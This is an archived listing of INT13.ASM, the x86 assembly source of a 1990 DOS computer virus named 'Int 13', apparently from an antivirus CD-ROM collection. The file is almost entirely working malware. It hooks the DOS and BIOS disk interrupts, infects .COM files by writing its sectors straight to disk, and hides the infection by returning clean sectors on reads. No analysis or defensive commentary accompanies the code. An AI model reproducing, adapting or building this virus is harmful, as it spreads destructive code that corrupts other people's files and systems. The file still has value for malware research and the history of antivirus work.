home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / INT13.ASM < prev    next >
Assembly Source File  |  1990-07-05  |  4KB  |  310 lines

  1. Code        Segment
  2.         Assume    CS:Code
  3.  
  4. Old13        =    9Ch
  5. True13        =    9Dh
  6. Saved21        =    9Eh
  7. Temp13        =    9Fh
  8.  
  9. VStart:        loop    Next    ; Virus ID
  10. Next:        push    ax
  11.         mov    di,13h * 4
  12.         push    di
  13.         xor    bp,bp
  14.         mov    ds,bp
  15.         les    bx,[di]
  16.         mov    di,True13 * 4
  17.         mov    [di-4],bx
  18.         mov    [di-2],es
  19.         mov    ah,13h
  20.         int    2Fh
  21.         push    es
  22.         push    bx
  23.         int    2Fh
  24.         mov    es,bp
  25.         mov    si,21h * 4
  26.         pop    ax
  27.         stosw
  28.         pop    ax
  29.         stosw
  30.         push    si
  31.         movsw
  32.         movsw
  33.         mov    ah,52h
  34.         int    21h
  35.         push    es
  36.         pop    ds
  37.         les    ax,[bx+12h]    ; ax is now 0000h, i.e. ah is 0.
  38.         push    word ptr es:[bp+2]
  39.         mov    si,100h
  40.         mov    cx,si
  41.         mov    di,bp
  42.         push    si
  43.     rep    movs    word ptr es:[di], cs:[si]
  44.         pop    si
  45.         pop    word ptr ds:[bx+14h]
  46.         push    es
  47.         mov    al, offset Continue    ; Let's use it!
  48.         push    ax
  49.         retf
  50.  
  51. SavedCX        dw    1
  52. SavedDX        dw    0
  53. SavedBX        dw    0
  54. SavedES        dw    0
  55.  
  56. FileWord    dw    0
  57.  
  58. SCX        =    offset SavedCX - offset VStart
  59. SDX        =    offset SavedDX - offset VStart
  60.  
  61. Continue:    mov    es,bp
  62.         pop    di
  63.         mov    al,offset Int21        ; Two times!
  64.         stosw
  65.         mov    es:[di],cs
  66.         pop    di
  67.         mov    al,offset Int13        ; Three times!
  68.         stosw
  69.         mov    es:[di],cs
  70.  
  71.         mov    es,[bp+2Ch]    ; This assumes SS:
  72.         mov    di,bp
  73.         xchg    ax,bp
  74.         dec    cx
  75. ScanEnv:    repne    scasb
  76.         scasb
  77.         jnz    ScanEnv
  78.         scasw
  79.         push    es
  80.         pop    ds
  81.         mov    dx,di
  82.         mov    ah,3Dh
  83.         int    21h
  84.         jc    NoStart
  85.         mov    dx,si
  86.         xchg    ax,bx
  87.         mov    ah,3Fh
  88.         push    ss
  89.         pop    ds
  90.         int    21h
  91.         mov    ah,3Eh
  92.         int    21h
  93.  
  94.         pop    ax
  95.         push    ss
  96.         push    si
  97.         push    ss
  98.         pop    es
  99.         retf
  100.  
  101. NoStart:    mov    ah,4Ch
  102.         int    21h
  103.  
  104. Int13V:        mov    SavedBX,bx
  105.         mov    SavedCX,cx
  106.         mov    SavedDX,dx
  107.         mov    SavedES,es
  108.  
  109. Go13:        int    Old13
  110.         jmp    short RetF2
  111.  
  112. Int13:        cmp    ah,2
  113.         jne    Go13
  114.         push    ds
  115.         push    si
  116.         push    di
  117.         push    cx
  118.         push    dx
  119.         push    es
  120.         push    bx
  121.         push    dx
  122.         int    Old13
  123.         pop    dx
  124.         jc    Exit13
  125.         cmp    word ptr es:[bx],00E2h
  126.         clc
  127.         jne    Exit13
  128.         mov    ax,202h
  129.         mov    cx,es:[bx+SCX]
  130.         mov    dh,byte ptr es:[bx+SDX+1]
  131.         mov    bx,0B800h
  132.         mov    ds,bx
  133.         mov    es,bx
  134.         mov    bh,78h
  135.         int    True13
  136.         jc    Exit13
  137.         mov    si,7A00h
  138.         pop    bx
  139.         mov    di,bx
  140.         pop    es
  141.         mov    cx,100h
  142.     rep    movsw
  143.         jmp    short Exit13_1
  144. Exit13:        pop    bx
  145.         pop    es
  146. Exit13_1:    pop    dx
  147.         pop    cx
  148.         pop    di
  149.         pop    si
  150.         pop    ds
  151. RetF2:        retf    2
  152.  
  153. Int21:        cmp    ah,12h
  154.         je    FindNext
  155.         int    Saved21
  156.         jmp    RetF2
  157. FindNext:    int    Saved21
  158.         cmp    al,0
  159.         jnz    RetF2
  160.         push    ax
  161.         push    bx
  162.         push    ds
  163.         push    es
  164.         mov    ah,2Fh
  165.         int    Saved21
  166.         push    es
  167.         pop    ds
  168.         mov    ax,'MO'
  169.         cmp    ax,[bx+17]
  170.         jne    Exit1
  171.         cmp    ax,[bx+9]
  172.         je    Exit1
  173.         mov    al,[bx+7]
  174.         add    al,'@'
  175.         push    cx
  176.         push    dx
  177.         mov    cx,[bx+36]
  178.         mov    dx,200h
  179.         cmp    cx,dx
  180.         jb    Exit2
  181.         dec    cx
  182.         test    ch,10b
  183.         jz    Infect
  184.         cmp    al,'C'
  185.         jb    Exit2
  186.         test    ch,100b
  187.         jz    Infect
  188. Exit2:        pop    dx
  189.         pop    cx
  190. Exit1:        pop    es
  191.         pop    ds
  192.         pop    bx
  193.         pop    ax
  194.         jmp    RetF2
  195.  
  196. Infect:        push    si
  197.         push    di
  198.         push    cs
  199.         pop    es
  200.         mov    di,dx
  201.         lea    si,[bx+8]
  202.         mov    ah,':'
  203.         stosw
  204.         movsw
  205.         movsw
  206.         movsw
  207.         movsw
  208.         mov    al,'.'
  209.         stosb
  210.         movsw
  211.         movsb
  212.         xor    ax,ax
  213.         stosb
  214.  
  215.         mov    ds,ax
  216.         mov    es,ax
  217.         mov    si,13h * 4
  218.         mov    di,Temp13 * 4
  219.  
  220.         push    si
  221.         push    di
  222.         push    es
  223.  
  224.         movsw
  225.         movsw
  226.  
  227.         mov    word ptr [si-4], offset Int13V
  228.         mov    [si-2], cs
  229.  
  230.         push    cs
  231.         pop    ds
  232.  
  233.         mov    ah,3Dh
  234.         int    Saved21
  235.         xchg    ax,bx
  236.         mov    ax,4202h
  237.         mov    cx,-1
  238.         mov    dx,cx
  239.         int    Saved21        ; DX must now be zero (.COM)
  240. Go:        mov    ah,3Fh
  241.         mov    dl,offset FileWord
  242.         mov    di,dx
  243.         neg    cx        ; mov    cx,1
  244.         int    Saved21
  245.         push    [di-8]
  246.         push    [di-6]
  247.         mov    ax,4200h
  248.         xor    cx,cx        ; can it be inc cx ??
  249.         xor    dx,dx
  250.         int    Saved21
  251.         mov    ah,3Fh
  252.         mov    dx,di
  253.         mov    cl,2
  254.         int    Saved21
  255.         mov    ax,[di]
  256.         pop    dx
  257.         pop    cx
  258.         cmp    ax,00E2h
  259.         je    Close
  260.         cmp    ax,5A4Dh
  261.         je    Close
  262.         mov    ax,202h
  263.         push    cx
  264.         push    dx
  265.         mov    bx,0B800h
  266.         mov    es,bx
  267.         mov    bh,78h
  268.         int    True13
  269.         lds    si,[di-4]
  270.         push    di
  271.         mov    di,7A00h
  272.         mov    cx,100h
  273.     rep    movsw
  274.         pop    di
  275.         mov    ax,302h
  276.         pop    dx
  277.         pop    cx
  278.         push    cx
  279.         push    dx
  280.         int    True13
  281.         pop    dx
  282.         pop    cx
  283.         mov    ax,301h
  284.         xchg    cx,cs:[di-8]
  285.         xchg    dx,cs:[di-6]
  286.         push    cs
  287.         pop    es
  288.         xor    bx,bx
  289.         int    True13
  290. Close:        mov    ah,3Eh
  291.         int    Saved21
  292.  
  293.         pop    es
  294.         pop    si
  295.         pop    di
  296.  
  297.         movs    word ptr es:[di], es:[si]
  298.         movs    word ptr es:[di], es:[si]
  299.  
  300.         pop    di
  301.         pop    si
  302.         jmp    Exit2
  303.  
  304. VName        db    ' Int 13'
  305.  
  306. VEnd        label    byte
  307. VLen        =    offset VEnd - offset VStart
  308.  
  309. Code        EndS
  310.         End    VStart